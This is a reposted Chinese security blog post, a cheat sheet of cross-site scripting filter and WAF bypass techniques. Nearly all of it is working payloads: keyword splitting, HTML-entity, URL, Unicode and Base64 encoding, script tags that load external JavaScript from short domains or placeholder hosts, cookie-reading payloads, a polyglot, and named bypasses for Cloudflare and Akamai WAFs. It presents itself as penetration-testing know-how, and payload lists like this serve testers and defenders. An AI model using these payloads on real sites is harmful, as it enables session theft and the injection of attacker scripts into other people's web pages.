绕过XSS过滤姿势总结

admin 2023年5月31日08:27:50评论29 views字数 7845阅读26分9秒阅读模式

0x00 XSS基本测试流程

原则是“见框就插”,多动手,这里分享几个经典测试payload:

"><svg/onload=alert(1)//

具体引用外部js的代码姿势是:

<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//

在火狐浏览器下查看的效果(浏览器解析时会自动加上引号):
绕过XSS过滤姿势总结

<a href="javascript:alert(1)" >click me</a>       //a标签伪协议执行
<a href="data:text/html;base64,这里跟着base64之后的js代码">click here</a>        //data引用外域资源
<a href="data:text/html;base64,这里跟着base64之后的js代码">click here</a>        //data引用外域资源

外域获取cookie,据我所知只有火狐才可以了,这里涉及同源策略相关知识。

具体情况还需要具体分析,一定要记住灵活构造才是XSS最核心的东西!

下面,我总结了针对不同的防护措施,可采取的绕过姿势,即是本文的重点。

0x01 弹窗关键字检测绕过

基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、cofirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert('xss')为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行: alert%20(/xss/)、alert%OA(/xss/)、alert%OD(/xss/)、alert%09(/xss/)

添加多行注释: alert/*abcd*/(/xss/)
添加注释换行: alert//abcd%0A(/xss/)、confirm//abcd%OD(/xss/)

使用"代替(): alert'xss'
使用括号分割: (alert)(/xss/)、((alert))(/xss/)
使用window、top、prompt:

<img src=x onerror="window['al'+'ert'](0)"></img><img src=x onerror="window.alert(0)"></img><img src=x onerror="top['al'+'ert'](0)"></img><img src=x onerror="top.alert(0)"></img><img src=x onerror=prompt(document.cookie)>

另外还可以通过以下方式绕过WAF:

<input/onfocus=_=alert,_(123)><input/onfocus=_=alert,xx=1,_(123)><input/onfocus=_=alert;_(123)><input/onfocus=_=alert;xx=1;_(123)><input/onfocus=_=window['alert'],_(123)><input/onfocus=_=window.alert,_(123)><input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> 

另外还可以通过异常处理

<svg/onload="window.onerror=eval;throw'=alertx281x29';">

eval(string)参数为字符串,可以拼接关键字绕过检测。

<svg/onload=eval('ale'+'rt(1)')>

另外跳转中也可以使用关键字拼接

<svg/onload=location='javas'+'cript:ale'+'rt(1)'><svg/onload=window.location='javas'+'cript:ale'+'rt(1)'><svg/onload=location.href='javas'+'cript:ale'+'rt(1)'><svg/onload=window.open('javas'+'cript:ale'+'rt(1)')><svg/onload=location='javas'.concat('cript:ale','rt(1)')>


0x02 编码绕过

 1.html实体编码

<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制,例如:

<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

1.<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab2.<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车3.<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行4.<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持

2.URL编码

<a href="{here}">xx</a><iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如

<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a><iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

可以二次URL编码

<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

这里结合一下上面说十六进制编码

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>

3.Unicode编码

<input onfocus=location="javascript:u0061u006Cu0065u0072u0074u0028u0031u0029" autofocus> 
<input onfocus=u0061u006Cu0065u0072u0074(1) autofocus>

另外还有八进制和十六进制

1.<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')>2.<svg/onload=setTimeout('141154145162164050061051')>3.<svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')>4.<script>eval("x61x6Cx65x72x74x28x31x29")</script>5.<script>eval("141154145162164506151")</script>6.<script>eval("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>

有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等同样也可以使用window['eval']

1.<script>window['eval']("x61x6Cx65x72x74x28x31x29")</script>2.<script>window['eval']("141154145162164506151")</script>3.<script>window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>

4.Base64编码

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

1.<iframe src="data:text/html,<script>alert&#40;1&#41;</script>"></iframe>2.<iframe srcdoc="<script>alert&#40;1&#41;</script>"></iframe>

另外还可以使用atob函数

1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>

5.其他

String.fromCharCode:

 <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

这里针对HTML编码、URL编码、Unicode编码还涉及到一个解码顺序的问题:

我们以<a href=javascript:alert(1)>click</a>为例
根据上面的例子,我们可以使用三种编码:
HTML编码:

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>

Unicode编码:

<a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>

URL编码:

<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>

然后我们把这三种解码结合起来:Unicode编码-> URL编码-> HTML编码

<a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a><a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a><a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>

发现同样是可以弹窗的。

0x03 绕过长度限制

1.短域名

我们假设XSS注入点存在长度限制,必须使用20个字符以内的payload进行攻击:

<script src=//aa.es>

如上外部域名就很完美,整体长度没超过20个字符。但所有这类域名几乎都被占用或者太贵了。

2.Unicode的兼容性
利用浏览器对Unicode字符等价判定的不同。先让我们来看一个例子,假设我们有这个payload:

<script src=//ffff.pw><script src=//01.x🅍.ht>

ff对应到ff

SM对应到sm

sr对应到sr

st对应到st

rad对应到rad

TEl对应到tel

请注意,'ff'只是一个字符,但是当浏览器解析它时,它将表现为'ff',即两个字符。同理英文字母'ss'对应的Unicode字符'ss',这就能帮助我们大幅减少购买域名的花费。
实际上'x'对应的Unicode字符为'x',但是它在字节占用数上与'x'相同,故而没有替换的必要。
了解更多字符,

请参考

https://www.unicode.org/charts/normalization/

了解字符拆解原理

请参考

https://www.compart.com/en/unicode/U+2121

3.注释拼接payload
原理是利用Js/jQuery注释,同一页面多个框(点)插入xss payload,使其注释掉中间代码,拼接完整的payload,完成xss攻击。
<script>alert(document.cookie)</script>拆分成5次来执行

<script>/**/alert/**/(document/**/.cookie)/**/</script>

0x04 引用外部JS

通过在<script>标签中引入其他字符绕过
1.<script/src='1.js'/~~234*234></script ~~234*234>
2.onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);

3.onfocus='a=document.createElement("scr" +"ipt");a.src="http://x.x.x.x";body.appendChild(a);//拆分关键字
4.//SSI
5.<link%20rel=import%20href="2.js">

0x05 第三方备忘录

Basic xSS Test Without Filter Evasion

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

PortSwigger

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

0x06 其他收集


Github

https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec

0x07 推特收集

1.

JavaScript://%250Aalert?.(1)//'/*'/*"/*"/*`/*`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is76--><script>alert%28(%60xss%60)%29<%2Fscript>

参考:https://brutelogic.com.br/blog/building-xss-polyglots/

2.绕过CloudFlare waf Payload

<svg onload=alert&#0000000040document.cookie)>

3.HTTP参数污染

绕过Akamai WAF ASP样式HTTP参数污染反射XSS(Chrome)

?id=1&id=2  -->  <input value="1,2">
?id="&id=onpointerrawupdate="a=confirm&id=a(1)--><input value="", onpointerrawupdate="a=confirm, a(1)">

附编码转换工具:http://bianma.51240.com/

注:

XSS漏洞原理以及防护原理详见:http://www.recorday.cn/index.php/2018/01/25/xss1/

0x07 参考链接

文章来源:zha0gongz1

原文链接:

https://www.cnblogs.com/H4ck3R-XiX/p/12732356.html















原文始发于微信公众号(海底生残月):绕过XSS过滤姿势总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月31日08:27:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过XSS过滤姿势总结http://cn-sec.com/archives/1776822.html

发表评论

匿名网友 填写信息